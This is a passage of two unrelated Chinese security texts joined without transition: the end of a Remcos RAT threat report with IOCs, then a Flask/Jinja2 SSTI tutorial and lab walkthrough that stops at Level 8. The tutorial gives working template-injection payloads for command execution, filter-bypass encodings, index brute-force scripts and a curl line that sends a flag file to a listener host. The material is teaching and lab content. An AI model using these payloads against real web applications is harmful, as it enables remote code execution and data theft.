很多情况下，很多被调查的域名采用了Cloudflare的服务，这通常会隐藏服务器托管域的真正地址。因为DNS配置通常将名称解析指向Cloudflare
IP而不是Web服务器本身的IP。一个常见的错误是，虽然域本身可能受Cloudflare保护，但在许多情况下，存在一个不指向Cloudflare服务器的子域，允许取消屏蔽服务器IP地址。
这是breaking-security[.]net的情况，虽然域被Cloudflare保护，但邮件子域没有被保护，邮件子域的A记录配置如下：
* mail[.]breaking-security[.]net. A 146.66.84[.]79
* webmail[.]breaking-security[.]net A 146.66.84[.]79
146.66.84[.]79这个IP被托管在SiteGround Amsterdam.经过一系列测试，我们确定这也是breaking-security[.]net的主要托管地址。
另一个我们证实的与Remcos相关的域名是viotto-security[.]net.，这个域名目前被配置重定向到breaking-security[.]net，然而，情况并非总是如此。在Wayback
Machine中搜索与该域相关联的页面，这个站点允许使用者浏览网页过去的版本，并以个人传记的方式展现，和出售各种工具的大公司的利益有明显的重叠：
我们还找到了Viotto在黑客论坛上打的几个广告，自2016年后，他在HackForums等黑客论坛上出售或支持Remcos。这使得他的意图很可疑。
尽管这家公司声明如果用户使用Remcos做违法活动，将撤销其许可证。如下图，有人在官方声明下声称使用该软件控制了200台肉鸡，但官方却似乎毫不在意。
Viotto在其他黑客论坛也很活跃，像OpenSC，他是版主，以下是他宣传Remcos 和Octopus Protector的帖子。
## 四、Remcos的技术细节
根据[其他博客](https://krabsonsecurity.com/2018/03/02/analysing-remcos-rats-executable/)的描述，Remcos看起来是用C++开发的。
从发布说明来看，它目前仍很活跃，作者几乎每个月都在更新。
v2.0.5 – July 14, 2018
v2.0.4 – April 6, 2018
v2.0.3 – March 29, 2018
v2.0.1 – Feb. 10, 2018
v2.0.0 – Feb. 2, 2018
v1.9.9 – Dec. 17, 2017
Remcos具有RAT的典型功能，它可以隐藏在系统中，使用恶意软件技术，使普通用户难以察觉到它的存在。
一些常规模块看起来像拷贝或对开源代码的轻微修改，下面的反调试代码块是个很好的例子：
这是检测早已过时的“SbieDll.dll”在我们看来，现在很少有分析人员使用沙盒。进一步分析可以看出很多其他功能代码与开源项目代码有很高的相似度。下面是Remcos的VMware检测代码：
下面的样例代码来自[aldeid.com](https://www.aldeid.com/wiki/VMXh-Magic-Value):
上面提到的博客已经详细描述几个Remcos功能特性。我们关注Remcos如何实现加密。在需要加解密数据时，它几乎全部使用的RC4算法。如注册入口，C2服务器通信，文件路径等：
Exepath注册数据用base64编码。RC4加密，解密后可得到可执行文件路径：
C:TEMP1cc8f8b1487893b2b0ff118faa2333e1826ae1495b626e206ef108460d4f0fe7.exe
RC4的实现遵循标准RC4算法，在网上可以找到很多样例代码，下面是第一次在00402F01设置密钥调度算法(KSA) S_array。
转换为典型的RC4伪代码如下：
for i from 0 to 255
S[i] := i
endfor
j := 0
for i from 0 to 255
j := (j + S[i] + key[i mod keylength]) mod 256
swap values of S[i] and S[j]
endfor
在00402F5B是对RC4伪随机数生成算法的实现：
其伪代码如下：
i := 0
j := 0
while GeneratingOutput:
i := (i + 1) mod 256
j := (j + S[i]) mod 256
swap values of S[i] and S[j]
K := S[(S[i] + S[j]) mod 256]
output K
endwhile
如截图所示，Remcos使用RC4算法加解密数据，使用PE资源块中的’SETTINGS’存储初始加密密钥。这个密钥是可变的，从40字节到250字节不等。
存储数据的格式如下：
* 密钥长度
* 加密密钥
* 加密配置数据
被加密的配置数据块包括命令和控制服务器，RAT命令及其他数据，如下图：
加密数据包括C2服务器e.g.
ejiroprecious[.]ddns[.]net和通信端口号，以及密码，此密码用于为RC4加密的C2通信生成单独的S_array。下面是RC4密钥调度算法（KSA）相关代码：
即使使用比上例更强的密码，使用这种弱加密算法意味着每个人都可以提取密码并解密C2流量或将自己的命令注入C2通道控制RAT。好消息是，成为Remcos受害者的公司可以通过存储网络的流量和Remcos二进制文件对威胁进行分析。
为了使取证人员更轻松，我们提供了一个简单的[Python解码器脚本](https://github.com/Cisco-Talos/remcos-decoder/blob/master/remcos_decryptor.py)，可以解码资源部分的配置数据：
如上所述，Remcos对各种其他功能也使用相同的加密例程。因此，解码器程序还提供了手动切换加密字节的选项。这可以用于解码，例如exepath的注册表键值。
我们使用此工具提取下面的所有IOC。它使用最新的2.0.4和2.0.5版本的Remcos进行测试，但也可能适用于其他版本。
用户还可以将字节从网络嗅探器复制到二进制文件，通过解密C2通信中的字节，来查看C2服务器发送给受害者的命令。请记住使用提取的密码，例如“通过”。
## 五、结论
虽然销售Remcos的公司声称该应用程序仅供合法使用，但我们的研究表明它仍然被恶意攻击者广泛使用。在某些情况下，攻击者战略性地选择目标，试图进入各种关键基础设施部门供应链上的机构。机构应确保实施安全控制以对抗Remcos以及其他威胁。Remcos是一个强大的工具，正在积极开发，增加攻击者可以获取更多信息的新功能。为了与其对抗，各机构应该意识到这种威胁以及可能在互联网上传播的相关威胁。
## 六、IOCs
恶意文档：
0409e5a5a78bfe510576b516069d4119b45a717728edb1cd346f65cfb53b2de2
0ebfbcbf8c35ff8cbf36e38799b5129c7b70c6895d5f11d1ab562a511a2ec76e
18f461b274aa21fc27491173968ebe87517795f24732ce977ccea5f627b116f9
2f81f5483bbdd78d3f6c23ea164830ae263993f349842dd1d1e6e6d055822720
3772fcfbb09ec55b4e701a5e5b4c5c9182656949e6bd96bbd758947dfdfeba62
43282cb81e28bd2b7d4086f9ba4a3c538c3d875871bdcf881e58c6b0da017824
48dec6683bd806a79493c7d9fc3a1b720d24ad8c6db4141bbec77e2aebad1396
4938f6b52e34768e2834dfacbc6f1d577f7ab0136b01c6160dd120364a1f9e1a
4e0bcef2b9251e2aaecbf6501c8df706bf449b0e12434873833c6091deb94f0e
72578440a76e491e7f6c53e39b02bd041383ecf293c90538dda82e5d1417cad1
77cf87134a04f759be3543708f0664b80a05bb8315acb19d39aaa519d1da8e92
8abcb3084bb72c1cb49aebaf0a0c221a40538a062a1b8830c1b48d913211a403
94ff6d708820dda59738401ea10eb1b0d7d98d104a998ba6cee70e728eb5f29f
9cccdb290dbbedfe54beb36d6359e711aee1b20f6b2b1563b32fb459a92d4b95
aa7a3655dc5d9e0d69137cb8ba7cc18137eff290fde8c060ac678aa938f16ec7
ad78b68616b803243d56593e0fdd6adeb07bfc43d0715710a2c14417bba90033
bb3e5959a76a82db52840c4c03ae2d1e766b834553cfb53ff6123331f0be5d12
c5b9c3a3bbfa89c83e1fb3955492044fd8bf61f7061ce1a0722a393e974cec7c
d3612813abf81d0911d0d9147a5fe09629af515bdb361bd42bc5a79d845f928f
e302fb178314aa574b89da065204bc6007d16c29f1dfcddcb3b1c90026cdd130
e7c3c8195ff950b0d3f7e9c23c25bb757668b9c131b141528183541fc125d613
ef5e1af8b3e0f7f6658a513a6008cbfb83710f54d8327423db4bb65fa03d3813
f2c4e058a29c213c7283be382a2e0ad97d649d02275f3c53b67a99b262e48dd2
第1阶段可执行文件：
07380d9df664ef6f998ff887129ad2ac7b11d0aba15f0d72b6e150a776c6a1ef
1e5d5226acaeac5cbcadba1faab4567b4e46b2e6724b61f8c705d99af80ca410
224009a766eef638333fa49bb85e2bb9f5428d2e61e83425204547440bb6f58d
27dd5a3466e4bade2238aa7f6d5cb7015110ceb10ba00c1769e4bc44fe80bcb8
502c4c424c8f435254953c1d32a1f7ae1e67fb88ebd7a31594afc7278dcafde3
5a9fa1448bc90a7d8f5e6ae49284cd99120c2cad714e47c65192d339dad2fc59
91032c5ddbb0447e1c772ccbe22c7966174ee014df8ada5f01085136426a0d20
9114a31330bb389fa242512ae4fd1ba0c9956f9bf9f33606d9d3561cc1b54722
9fe46627164c0858ab72a7553cba32d2240f323d54961f77b5f4f59fe18be8fa
c2307a9f18335967b3771028100021bbcf26cc66a0e47cd46b21aba4218b6f90
c51677bed0c3cfd27df7ee801da88241b659b2fa59e1c246be6db277ce8844d6
da352ba8731afee3fdbca199ce8c8916a31283c07b2f4ebaec504bda2966892b
PE32可执行文件：
Remcos PE32可执行文件的哈希值列表可在[此处](https://alln-extcloud-storage.cisco.com/ciscoblogs/5b7d854a894cb.txt)找到
IP地址：
109.232.227 [.] 138
54.36.251 [.] 117
86.127.159 [.] 17
195.154.242 [.] 51
51.15.229 [.] 127
212.47.250 [.] 222
191.101.22 [.] 136
185.209 .20 [.] 221
92.38.86 [.] 175
139.60.162 [.] 153
192.0.2 [.] 2
185.209.85 [.] 185
82.221.105 [.] 125
185.125.205 [.] 74
77.48. 28 [.] 223
79.172.242 [.] 28
79.172.242 [.] 28
192.185.119 [.] 103
181.52.113 [.] 172
213.152.161 [.] 165
域名：
dboynyz [.] pdns [.] cz
streetz [.] club
mdformo [.] ddns [.] net
mdformo1 [.] ddns [.] net
vitlop [.] ddns [.] net
ns1 [.] madeinserverwick [.] club
uploadtops [.]is
prince[.] jumpingcrab [.] com
timmason2 [.] com
lenovoscanner [.] duckdns [.] org
lenovoscannertwo [.] duckdns [.] org
lenovoscannerone [.] duckdns [.] org
google [.] airdns [.] org
civita2 [.] no-ip [.] biz
www [.] pimmas [.] com [.] tr
www [.] mervinsaat [.] com.tr
samurmakina [.] com [.] tr
www [.] paulocamarao [.] com
midatacreditoexperian [.] com [.] co
www [.] lebontour [.] com
businesslisting [.] igg [.] biz
unifscon [.] com | 社区文章 |
# SSTI 介绍
SSTI 全称（Server-Side Template Injection),中文名服务端模板注入.
在介绍模板注入之前,首先得知道什么是模板.
### 什么是模板以及模板引擎
用通俗的话解释,模板就是一段话中存在可动态替换的部分.假设存在以下代码
print(f"hello{username}")
由于这句代码能够因为不同的 `username`而显示不同的结果,因此我们可以简单的把这段话理解为一个模板.(当然这个例子不是很恰当)
而模板引擎的作用是为了使用户界面(例如上面的`hello+用户名`)与业务数据或内容(例如上面的username)生成特定的文档(如你所看到的HTML).
> 通俗点讲:拿到数据,塞到模板里,然后让渲染引擎将塞进去的东西生成 html 的文本,最后返回给浏览器.
采用模板以及模板引擎的好处可以让程序(网站)实现界面与数据分离,业务代码与逻辑代码的分离,这大大提升了开发效率,也使得代码重用变得更加容易.
但是由于渲染的数据是业务数据,且大多数都由用户提供,这就意味着用户对输入可控.如果后端没有对用户的输入进行检测和判断,那么就容易产生代码和数据混淆,从而产生注入.
# Flask基础
本文主要学习和记录Python中Flask SSTI.在详细分析Flask SSTI之前,得先对Flask的基础语法有些了解.
> Flask 是一个用python实现的微型web框架,意味着flask能为您提供了工具、库和技术,使您可以构建web应用程序.
为了快速了解Flask基础,本人简单编写了一段代码`demo.py`,以此代码为例简单说明Flask语法
from flask import Flask
app = Flask(__name__)
@app.route('/')
def hello_world():
return 'Hello World!'
if __name__ == '__main__':
app.run()
1. 第一行,导入Flask类.用于后面实例化出一个WSGI应用程序.
2. 创建Flask实例,传入的第一个参数为模块或包名.
3. 使用`route()`装饰器告诉Flask怎样解析我们访问的URL.起路由作用.
4. 下面跟着的函数将在访问对应路由时触发.比如此处我们访问网站根目录,将返回 `Hello Wrold`到对应页面.
5. `app.run()`函数让应用在本地启动
运行此`.py`文件
并访问`http://127.0.0.1:5000`你将看到
Flask官网也提供了一篇快速入门的章节,可[点击此处](http://docs.jinkan.org/docs/flask/quickstart.html)前往阅读
# 模板渲染
Flask 使用了Jinja2 引擎来对模板进行渲染.
再给出渲染模板示例代码之前,咱们先创建个模板,命名为`demo_tmp.html`,内容如下:
<html>
<head>
<title>Welcome to Flask</title>
</head>
<body>
<h1>Hello, {{name}}!</h1>
</body>
</html>
其中,`{{}}`内是需要渲染的内容.
> jinja2模板中使用 {{ }}
> 语法表示一个变量,它是一种特殊的占位符.当利用jinja2进行渲染的时候,它会把这些特殊的占位符进行填充/替换,jinja2支持python中所有的Python数据类型比如列表、字段、对象等.
由于Flask 会在 templates
文件夹里寻找模板,所以需要在`demo.py`的同级目录下创建一个`templates`目录,并将`demo_tmp.html`放入.
稍微修改以下`demo.py`
from flask import Flask
from flask import request
from flask import render_template
app = Flask(__name__)
@app.route('/',methods=['GET']
def hello_world():
query = request.args.get('name') # 获取get方法传递的 name的值
return render_template('demo_tmp.html', name=query) # 将get接收到的name的值传入模板,进行渲染
if __name__ == '__main__':
app.run(debug=True) # 开启 debug模式,每次修改代码后就不需要手动重启服务器,服务器会在代码修改后自动重新载入
运行并访问`http://127.0.0.1:5000/?name=Noel`,可以看到结果如下结果
页面显示会随着传递给name参数的改变而改变.
那注入问题有又是怎么产生的呢?
# Flask SSTI
这里我先给出一段拥有ssti注入漏洞的flask代码:
@app.errorhandler(404)
def page_not_found(e):
template = '''{%% extends "layout.html" %%}
{%% block body %%}
<div class="center-content error">
<h1>Opps! That page doesn't exist.</h1>
<h3>%s</h3>
</div>
{%% endblock %%}
''' % (request.url)
return render_template_string(template), 404
> 代码来源于:<https://blog.nvisium.com/p263>
这段代码的逻辑为:当访问不存在的路由时或错误请求导致404时,将 URL
格式化为字符串并将其展示给用户.假设我们传入的url为`http://127.0.0.1:5000/<script>alert(1)</script>`,访问,触发弹窗.
访问`http://127.0.0.1:5000/{{7*7}}`,发现 `{{7*7}}`被解析为 `49`
大家可以将漏洞代码和上面的`demo.py`进行对比,思考下为什么漏洞代码能够产生注入.
### 为什么产生 SSTI
其实对比两段代码很容易发现,
`demo.py`是使用`render_template('demo_tmp.html',
name=query)`,而使用这种方式渲染的优点在于需要渲染的参数是通过`name=query`写死了的,并未交给用户控制.
而在漏洞代码中
template = '''{%% extends "layout.html" %%}
{%% block body %%}
<div class="center-content error">
<h1>Opps! That page doesn't exist.</h1>
<h3>%s</h3>
</div>
{%% endblock %%}
''' % (request.url)
return render_template_string(template), 404
是直接将用户输入的url拼接到template中,再进行的渲染的.
由于url可控,所以整体template可控,如果传入的url中包含`{{xxx}}`,那么在使用`render_template_string(template)`进行渲染的时候就会把
`{{}}`中的内容进行解析.
# SSTI漏洞利用
既然说`{{}}`内能够解析表达式和代码,那我们试试直接插入 `import os;os.system('')`执行shell
很遗憾这种办法是行不通的.
原因是Jinjia 引擎限制了使用import.
那还有什么方法能够执行代码python吗
这时python的魔法方法和一些内置属性便能发挥作用.
这里我先给出一个 `payload`,通过 payload 来讲解相关魔法方法、内置属性以及利用过程.
`{{"".__class__.__base__.__subclasses__()[118].__init__.__globals__['system']('whoami')}}`
## 魔法方法和内置属性
`__class__`:返回该实例对象的类
''.__class__
# <class 'str'>
`__base__`:返回该类的父类
''.__class__.__base__
# <class 'object'>
# 及 object 是 str 的基类(父类)
`__subclasses__`():返回当前类的所有子类,返回结果是个列表
''.__class__.__base__.__subclasses__()
#[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, ...
很明显,上面这几个内置属性以及魔法方法能够帮助我们得到一些类.那我们得到这些类后干什么呢?
由于无法直接使用`import`导入模块,那我们就间接导入.通过上诉的一些内置属性和方法可以找到很多基类和子类,而有些基类和子类是存在一些引用模块的,只要我们初始化这个类,再利用`__globals__`调用可利用的函数,就能够达成我们的目的.
比如:我们想要执行系统函数,首先我们得知道python中那个函数能够执行系统函数.当然`system`能够达做到,所以我们得寻找哪些类能够调用`system`.本次实例中使用了118索引,索引的具体内容是`<class
'os._wrap_close'>`
选择初始化这个类是因为这个类属于`os
模块`,我们能够调用其中的`system`方法
除此之外,FLASK SSTI 常用来构建payload还有:
> 由于目前使用python3 版本较多,以下payload均使用python3实现
#### __builtins__
python在启动时就加载`__builtins__`,里面包含了一些常用方法比如:`abs()`,`max()`,`eval()`等等.详细信息大家可以去[官网](https://docs.python.org/3/library/builtins.html)了解.
那怎样去查找哪些类中拥有`__builtins__`呢:
这个贴出个脚本`find_exp_class.py`,方便用来查找
exp_flask = '__builtins__'
number = 0
for i in "".__class__.__base__.__subclasses__():
try:
if "__import__()" in i.__init__.__globals__.keys():
print(number,"-->>",i)
except :
pass
finally:
number += 1
在我本地(python3.6)运行,效果如下
构建payload,可以看到能够执行系统命令
`().__class__.__base__.__subclasses__()[64].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")`
#### sys
同样,更改`find_exp_class.py`中`exp_flask`的内容为`sys`,本地运行,得到相关类和索引如下:
构建payload,可以看到能够执行系统命令
`().__class__.__base__.__subclasses__()[64].__init__.__globals__['sys'].modules["os"].popen("whoami").read()`
其实这个payload的本质也是使用`os`模块
#### __import__
同样,更改`find_exp_class.py`中的`exp_flask`的内容为`__import__`,本地运行,得到相关类和索引如下:
构建payload,可以看到能够执行系统命令:
`().__class__.__base__.__subclasses__()[64].__init__.__globals__['__import__']('os').system('whoami')`
同样,这个payload的本质也是使用`os`模块中的方法
有大佬把python目前自带函数全部搜集了起来并筛选出了可利用部分,详细可以参考这篇[博客](https://misakikata.github.io/2020/04/python-%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E4%B8%8ESSTI/#python3)
# 练习
光说不练假把式.
在了解 **SSTI原理** 以及payload构造基础之后,来通过靶场练练手.学习一下常见trick
> 靶场来源于 Github:<https://github.com/X3NNY/sstilabs>
## Level 1 no waf
第一关没waf
初步尝试 ,由于不好整理索引,写个脚本
import requests
url = "http://192.168.0.108:5001/level/1"
for i in range(300):
data = {"code": '{{"".__class__.__base__.__subclasses__()['+ str(i) +']}}'}
try:
response = requests.post(url,data=data)
#print(data)
#print(response.text)
if response.status_code == 200:
if "_wrap_close" in response.text:
print(i,"----->",response.text)
break
except :
pass
# 结果为 132 -----> Hello <class 'os._wrap_close'>
得到索引后,构造payload,拿到flag
`{{"".__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cat
flag').read()}}`
### 拓展
由于程序并没有对输入的内容进行任何判断和过滤,所以我们可以直接插入一段通用payload代码段,
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if'eval' in b.keys() %}
{{b['eval']('__import__("os").popen("calc").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
但是我这里没打通.后来在开服务的机器上查了下发现没有 `catch_warnings`这个类.也懒的改了,感兴趣的可以试试.
## Level 2 bypass {{
`{{`被ban了,不过`{% %}`可以使用,使用`{% %}`进行盲打
> {% %} 是属于flask的控制语句,且以{% end… %}结尾,可以通过在控制语句定义变量或者写循环,判断.
>
> 详细内容可前往 [Jinja2 模板官方文档](https://jinja.palletsprojects.com/templates/)进行了解
写个盲注脚本
import requests
url = "http://192.168.0.108:5001/level/2"
for i in range(300):
try:
data = {"code": '{% if "".__class__.__base__.__subclasses__()[' + str(i) + '].__init__.__globals__["popen"]("cat flag").read() %}payload{% endif %}'}
response = requests.post(url,data=data)
if response.status_code == 200:
if "payload" in response.text:
print(i,"--->",data)
break
except :
pass
# 结果为 132 ---> {'code': '{% if "".__class__.__base__.__subclasses__()[132].__init__.__globals__["popen"]("cat flag").read() %}payload{% endif %}'}
脚本结果说明`132索引`能够执行代码,配合`{%print(code)%}`,拿到flag
`{%print("".__class__.__base__.__subclasses__()[132].__init__.__globals__["popen"]("cat
flag").read() )%}`
### 拓展
除了能够使用`{%print()%}` 直接输出内容外,还可以使用`popen('cat flag').read(num)` 进行内容爆破.
如`popen('cat flag').read(1)`则表示内容的第一位,`popen('cat
flag').read(2)`表示内容的前两位,依次类推.
## Level 3
这题一开始没懂什么意思,看了源码才理解
def level3(code):
try:
render_template_string(code)
return "correct"
except Exception:
return "wrong"
对输入的字符串进行渲染,如果渲染异常返回wrong,渲染正确返回correct.
由于没有任何回显,可以写个脚本盲打
脚本内容如下:
import requests
url = "http://192.168.0.108:5001/level/3"
for i in range(300):
try:
data = {"code": '{{"".__class__.__base__.__subclasses__()[' + str(i) + '].__init__.__globals__["popen"]("curl http://192.168.0.105:8081/`cat flag`").read()}}'}
response = requests.post(url,data=data)
except :
pass
在本地开个监听,
运行脚本,拿到flag
## Level 4 bypass [ ]
初步尝试后,发现过滤了`[ ]`,其余没有任何过滤,此处可以使用`__getitem__()`绕过
> __getitem__()
> 是python的一个魔法方法,当对列表使用时,传入整数返回列表对应索引的值;对字典使用时,传入字符串,返回字典相应键所对应的值.
简单更改 `Level 1`的脚本用于本题
import requests
url = "http://192.168.0.108:5001/level/4"
for i in range(300):
data = {"code": '{{"".__class__.__base__.__subclasses__().__getitem__('+ str(i) +')}}'}
try:
response = requests.post(url,data=data)
if response.status_code == 200:
if "_wrap_close" in response.text:
print(i,"----->",response.text)
break
except :
pass
# 结果 132 -----> Hello <class 'os._wrap_close'>
可以看到列表132的索引位置出现了可利用的类,直接构造payload,拿到flag
`{{''.__class__.__base__.__subclasses__().__getitem__(132).__init__.__globals__.__getitem__('popen')('cat
flag').read()}}`
## Level 5 bypass ‘ “
初步尝试发现只过滤了`' "`,其余没有任何过滤,此处可以使用`request.args`绕过.
> 在搭建flask时,大多数程序内部都会使用 flask的request来解析get请求.此出我们就可以通过构造带参数的url,配合
> request.args 获取构造参数的内容来绕过限制
同样使用 `Level 1`的脚本跑出可利用类的索引为132,构造如下payload,拿到flag
`{{().__class__.__base__.__subclasses__()[132].__init__.__globals__[request.args.a](request.args.b).read()}}`
### 拓展
既然能够通过`request.args`获取get参数构造payload,那能否通过post提交内容构造payload呢.答案是肯定的,除此之外,还能通过cookie传入等.读者们可以亲自动手尝试利用`request.post`或`request.cookie`的方法绕过本题.
> request
> 代码详细内容可前往[官方文档](https://dormousehole.readthedocs.io/en/latest/api.html#flask.request)自行了解
request.args.key 获取get传入的key的值
request.values.x1 所有参数
request.cookies 获取cookies传入参数
request.headers 获取请求头请求参数
request.form.key 获取post传入参数 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data 获取post传入参数 (Content-Type:a/b)
request.json 获取post传入json参数 (Content-Type: application/json)
## Level 6 bypass _
初步尝试发现过滤了`_`,其余没有任何过滤,此处可以使用过滤器`| attr()`绕过.
### 关于过滤器
[官方链接](https://jinja.palletsprojects.com/en/3.0.x/templates/#filters)
1. 过滤器通过管道符号（|）与变量连接,并且在括号中可能有可选的参数
2. 可以链接到多个过滤器.一个滤波器的输出将应用于下一个过滤器.
搬一下官方所给的内置过滤器
[`abs()`](https://jinja.palletsprojects.com/en/3.0.x/templates/#jinja-filters.abs) |
[`float()`](https://jinja.palletsprojects.com/en/3.0.x/templates/#jinja-filters.float) |
[`lower()`](https://jinja.palletsprojects.com/en/3.0.x/templates/#jinja-filters.lower) |
[`round()`](https://jinja.palletsprojects.com/en/3.0.x/templates/#jinja-filters.round) |
[`tojson()`](https://jinja.palletsprojects.com/en/3.0.x/templates/#jinja-filters.tojson)
---|---|---|---|---
[`attr()`](https://jinja.palletsprojects.com/en/3.0.x/templates/#jinja-filters.attr) |
[`forceescape()`](https://jinja.palletsprojects.com/en/3.0.x/templates/#jinja-filters.forceescape) |
[`map()`](https://jinja.palletsprojects.com/en/3.0.x/templates/#jinja-filters.map) |
[`safe()`](https://jinja.palletsprojects.com/en/3.0.x/templates/#jinja-filters.safe) |
[`trim()`](https://jinja.palletsprojects.com/en/3.0.x/templates/#jinja-filters.trim)
[`batch()`](https://jinja.palletsprojects.com/en/3.0.x/templates/#jinja-filters.batch) |
[`format()`](https://jinja.palletsprojects.com/en/3.0.x/templates/#jinja-filters.format) |
[`max()`](https://jinja.palletsprojects.com/en/3.0.x/templates/#jinja-filters.max) |
[`select()`](https://jinja.palletsprojects.com/en/3.0.x/templates/#jinja-filters.select) |
[`truncate()`](https://jinja.palletsprojects.com/en/3.0.x/templates/#jinja-filters.truncate)
[`capitalize()`](https://jinja.palletsprojects.com/en/3.0.x/templates/#jinja-filters.capitalize) |
[`groupby()`](https://jinja.palletsprojects.com/en/3.0.x/templates/#jinja-filters.groupby) |
[`min()`](https://jinja.palletsprojects.com/en/3.0.x/templates/#jinja-filters.min) |
[`selectattr()`](https://jinja.palletsprojects.com/en/3.0.x/templates/#jinja-filters.selectattr) |
[`unique()`](https://jinja.palletsprojects.com/en/3.0.x/templates/#jinja-filters.unique)
[`center()`](https://jinja.palletsprojects.com/en/3.0.x/templates/#jinja-filters.center) |
[`indent()`](https://jinja.palletsprojects.com/en/3.0.x/templates/#jinja-filters.indent) |
[`pprint()`](https://jinja.palletsprojects.com/en/3.0.x/templates/#jinja-filters.pprint) |
[`slice()`](https://jinja.palletsprojects.com/en/3.0.x/templates/#jinja-filters.slice) |
[`upper()`](https://jinja.palletsprojects.com/en/3.0.x/templates/#jinja-filters.upper)
[`default()`](https://jinja.palletsprojects.com/en/3.0.x/templates/#jinja-filters.default) |
[`int()`](https://jinja.palletsprojects.com/en/3.0.x/templates/#jinja-filters.int) |
[`random()`](https://jinja.palletsprojects.com/en/3.0.x/templates/#jinja-filters.random) |
[`sort()`](https://jinja.palletsprojects.com/en/3.0.x/templates/#jinja-filters.sort) |
[`urlencode()`](https://jinja.palletsprojects.com/en/3.0.x/templates/#jinja-filters.urlencode)
[`dictsort()`](https://jinja.palletsprojects.com/en/3.0.x/templates/#jinja-filters.dictsort) |
[`join()`](https://jinja.palletsprojects.com/en/3.0.x/templates/#jinja-filters.join) |
[`reject()`](https://jinja.palletsprojects.com/en/3.0.x/templates/#jinja-filters.reject) |
[`string()`](https://jinja.palletsprojects.com/en/3.0.x/templates/#jinja-filters.string) |
[`urlize()`](https://jinja.palletsprojects.com/en/3.0.x/templates/#jinja-filters.urlize)
[`escape()`](https://jinja.palletsprojects.com/en/3.0.x/templates/#jinja-filters.escape) |
[`last()`](https://jinja.palletsprojects.com/en/3.0.x/templates/#jinja-filters.last) |
[`rejectattr()`](https://jinja.palletsprojects.com/en/3.0.x/templates/#jinja-filters.rejectattr) |
[`striptags()`](https://jinja.palletsprojects.com/en/3.0.x/templates/#jinja-filters.striptags) |
[`wordcount()`](https://jinja.palletsprojects.com/en/3.0.x/templates/#jinja-filters.wordcount)
[`filesizeformat()`](https://jinja.palletsprojects.com/en/3.0.x/templates/#jinja-filters.filesizeformat) |
[`length()`](https://jinja.palletsprojects.com/en/3.0.x/templates/#jinja-filters.length) |
[`replace()`](https://jinja.palletsprojects.com/en/3.0.x/templates/#jinja-filters.replace) |
[`sum()`](https://jinja.palletsprojects.com/en/3.0.x/templates/#jinja-filters.sum) |
[`wordwrap()`](https://jinja.palletsprojects.com/en/3.0.x/templates/#jinja-filters.wordwrap)
[`first()`](https://jinja.palletsprojects.com/en/3.0.x/templates/#jinja-filters.first) |
[`list()`](https://jinja.palletsprojects.com/en/3.0.x/templates/#jinja-filters.list) |
[`reverse()`](https://jinja.palletsprojects.com/en/3.0.x/templates/#jinja-filters.reverse) |
[`title()`](https://jinja.palletsprojects.com/en/3.0.x/templates/#jinja-filters.title) |
[`xmlattr()`](https://jinja.palletsprojects.com/en/3.0.x/templates/#jinja-filters.xmlattr)
**_常用过滤器_**
length() # 获取一个序列或者字典的长度并将其返回
int()：# 将值转换为int类型；
float()：# 将值转换为float类型；
lower()：# 将字符串转换为小写；
upper()：# 将字符串转换为大写；
reverse()：# 反转字符串；
replace(value,old,new)： # 将value中的old替换为new
list()：# 将变量转换为列表类型；
string()：# 将变量转换成字符串类型；
join()：# 将一个序列中的参数值拼接成字符串,通常有python内置的dict()配合使用
attr(): # 获取对象的属性
回到原题,本题我们利用到的过滤器为`attr()`.其用法为 `foo|attr("bar")`,结果等价于`foo.bar`
我们可以利用`request.args`向attr里面传入参数,
但这里再介绍一种编码绕过,
`__class__ => \x5f\x5fclass\x5f\x5f`
其中`_`的十六进制编码为`\x5f`
构造payload,拿到flag
> paload原型:
> ().__class__.__base__.__subclasses__()[132].__init__.__globals__['open’](‘cat
> flag').read()
`{{()|attr("\x5f\x5fclass\x5f\x5f")|attr("\x5f\x5fbase\x5f\x5f")|attr("\x5f\x5fsubclasses\x5f\x5f")()|attr("\x5f\x5fgetitem\x5f\x5f")(132)|attr("\x5f\x5finit\x5f\x5f")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")('popen')('cat
flag')|attr("read")()}}`
### 拓展
除了可以使用十六进制编码外,还可以使用unioncode
`__class__`=>`\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f`
[例子](https://buaq.net/go-74232.html):
`{{()|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr("__getitem__")(77)|attr("__init__")|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("ls")|attr("read")()}}`
**_Unicode编码后:_**
`{{()|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f")|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f")()|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(77)|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f")|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("os")|attr("popen")("ls")|attr("read")()}}`
## Level 7 bypass .
初步尝试发现过滤了`.`,其余没有任何过滤,此处可以使用`[]`绕过.
> [You can use a dot (`.`) to access attributes of a variable in addition to
> the standard Python `__getitem__` “subscript” syntax
> (`[]`).](https://jinja.palletsprojects.com/en/3.0.x/templates/#variables)
>
> python语法除了可以使用点 `.`来访问对象属性外,还可以使用中括号`[]`.同样也可以使用__getitem__
构造payload,拿到flag
`{{()['__class__']['__base__']['__subclasses__']()[132]['__init__']['__globals__']['popen']('cat
flag')['read']()}}`
## Level 8 bypass keywords
从提示可以看到ban了许多关键字.此处可以使用`字符串拼接`绕过
构造payload,拿到flag
